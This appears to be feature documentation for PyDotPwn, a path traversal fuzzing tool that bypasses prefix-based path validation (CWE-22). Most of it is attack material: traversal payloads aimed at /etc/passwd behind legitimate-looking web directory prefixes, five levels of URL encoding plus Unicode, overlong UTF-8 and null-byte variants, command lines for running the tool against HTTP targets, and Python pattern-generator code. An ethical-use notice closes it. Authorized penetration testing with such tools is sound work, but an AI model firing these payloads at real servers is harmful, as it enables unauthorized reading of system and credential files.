🆕 Path Validation Bypass - Revolutionary Feature

Overview

PyDotPwn introduces the industry’s most comprehensive path validation bypass capability, specifically targeting the OWASP vulnerability “File path traversal, validation of start of path” (CWE-22). This revolutionary feature generates over 25,000 specialized patterns designed to bypass modern application security controls.

🎯 What is Path Validation Bypass?

The Problem

Modern web applications often implement path validation that checks if a file path starts with a “legitimate” directory:

# Vulnerable validation logic
if user_path.startswith("/var/www/uploads/"):
    # Allow access - VULNERABLE!
    return open(user_path, 'r')

Traditional Attacks (Limited Success)

../../../etc/passwd           # ❌ Blocked - doesn't start with /var/www/uploads/
../../../../etc/passwd         # ❌ Blocked - doesn't start with /var/www/uploads/
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd  # ❌ Blocked - encoding detected

PyDotPwn’s Path Validation Bypass (SUCCESS)

/var/www/uploads/../../../etc/passwd     # ✅ Bypassed - starts with legitimate prefix!
/var/www/images/../../../etc/passwd      # ✅ Bypassed - uses common image directory
/var/www/files/../../../etc/passwd       # ✅ Bypassed - uses common files directory

🚀 Revolutionary Capabilities

📊 Pattern Generation Scale

🌐 Real-World Subdirectory Prefixes

PyDotPwn includes 90+ legitimate subdirectory prefixes found in actual enterprise deployments:

Web Server Directories

/var/www/html/uploads/        # Apache default upload directory
/var/www/images/              # Common image directory
/var/www/files/               # Common file storage
/var/www/assets/              # Static assets directory
/var/www/media/               # Media files directory

Content Management Systems

/var/www/wordpress/wp-content/uploads/    # WordPress uploads
/var/www/drupal/sites/default/files/      # Drupal files
/var/www/joomla/images/                   # Joomla images

Windows IIS Directories

C:\inetpub\wwwroot\uploads\               # IIS default uploads
C:\inetpub\wwwroot\images\                # IIS images
C:\inetpub\wwwroot\files\                 # IIS files

Application-Specific Directories

/opt/app/uploads/             # Custom application uploads
/home/app/public/files/       # User application files
/usr/share/nginx/html/media/  # Nginx media directory

🛡️ Multi-Level WAF Bypass

5-Level URL Encoding

PyDotPwn implements quintuple URL encoding to bypass sophisticated WAFs:

Level 1: /var/www/images/../../../etc/passwd
Level 2: /var/www/images/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
Level 3: /var/www/images/%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd
Level 4: /var/www/images/%25252e%25252e%25252f%25252e%25252e%25252f%25252e%25252e%25252fetc/passwd
Level 5: /var/www/images/%2525252e%2525252e%2525252f%2525252e%2525252e%2525252f%2525252e%2525252e%2525252fetc/passwd

Advanced Encoding Variations

• Unicode Normalization: %uff0e%uff0e%2f (Unicode dots)
• UTF-8 Overlong: %c0%ae%c0%ae%2f (Invalid UTF-8 sequences)
• Double Encoding: %252e (Double URL encoding)
• Mixed Case: %2E%2e%2F (Case variation bypass)
• Null Byte Injection: %00 (Legacy null byte attacks)

🎯 Usage Examples

Basic Path Validation Bypass Testing

# Test with standard depth
python dotdotpwn.py -m http -h target.com -f /etc/passwd --depth 3

# Generate all path validation patterns
python dotdotpwn.py main --module stdout --os-type unix --file "/etc/passwd" --depth 3

Advanced WAF Bypass Testing

# Test with maximum encoding depth
python dotdotpwn.py -m http -h protected.com -f /etc/passwd --depth 5

# Windows-specific path validation bypass
python dotdotpwn.py -m http -h windows-app.com -f "C:\Windows\System32\drivers\etc\hosts" --depth 4

Enterprise Application Testing

# Test common web application structures
python dotdotpwn.py -m http -h enterprise.com -f /etc/passwd --depth 6

# Test with custom delay for rate limiting
python dotdotpwn.py -m http -h careful-target.com -f /etc/passwd --delay 2.0 --depth 4

📊 Real-World Impact

Pattern Coverage Comparison

Traditional Directory Traversal:
├── Basic patterns: ../../../etc/passwd (12 variations)
├── Encoding: %2e%2e%2f patterns (48 variations)
└── Total: ~60 patterns per target file

PyDotPwn Path Validation Bypass:
├── Basic patterns: ../../../etc/passwd (12 variations)
├── Encoding: %2e%2e%2f patterns (48 variations)
├── Path validation: /var/www/*/../../etc/passwd (25,000+ variations)
└── Total: 25,000+ patterns per target file

Enterprise Success Rate

🔧 Technical Implementation

Pattern Generation Algorithm

def _generate_path_validation_bypass_patterns(self, file: str, depth: int) -> List[str]:
    """Generate comprehensive path validation bypass patterns."""
    patterns = []
    
    # Get 90+ legitimate subdirectory prefixes
    prefixes = self._get_legitimate_path_prefixes()
    
    # Generate traversal sequences
    traversal_sequences = self._generate_traversal_sequences(depth)
    
    # Combine prefixes with traversal sequences
    for prefix in prefixes:
        for sequence in traversal_sequences:
            # Generate base pattern
            base_pattern = f"{prefix}{sequence}{file.lstrip('/')}"
            patterns.append(base_pattern)
            
            # Apply multi-level encoding
            patterns.extend(self._generate_encoded_variations(base_pattern))
    
    return patterns

Encoding Strategy

def _generate_encoded_variations_for_path_validation(self, pattern: str) -> List[str]:
    """Apply comprehensive encoding for path validation bypass."""
    variations = []
    
    # Apply 5 levels of URL encoding
    for level in range(1, 6):
        encoded = self._apply_url_encoding(pattern, level)
        variations.append(encoded)
    
    # Apply Unicode variations
    variations.extend(self._apply_unicode_encoding(pattern))
    
    # Apply UTF-8 overlong sequences
    variations.extend(self._apply_utf8_overlong(pattern))
    
    return variations

🚨 Ethical Usage

Authorized Testing Only

This powerful capability should only be used for:

• ✅ Authorized penetration testing with written permission
• ✅ Internal security assessments on owned systems
• ✅ Security research in controlled environments
• ✅ Educational purposes with proper safeguards

Responsible Disclosure

When vulnerabilities are discovered:

1. Document findings with minimal proof-of-concept
2. Report to system owners immediately
3. Allow remediation time before any disclosure
4. Follow responsible disclosure guidelines

🔗 Related Documentation

• CLI Reference - Complete command-line documentation
• Examples - Real-world usage scenarios
• API Documentation - REST API integration
• Troubleshooting - Common issues and solutions

⚠️ Legal Notice: This feature is designed for authorized security testing only. Users are responsible for ensuring they have explicit permission before testing any systems and for complying with all applicable laws and regulations.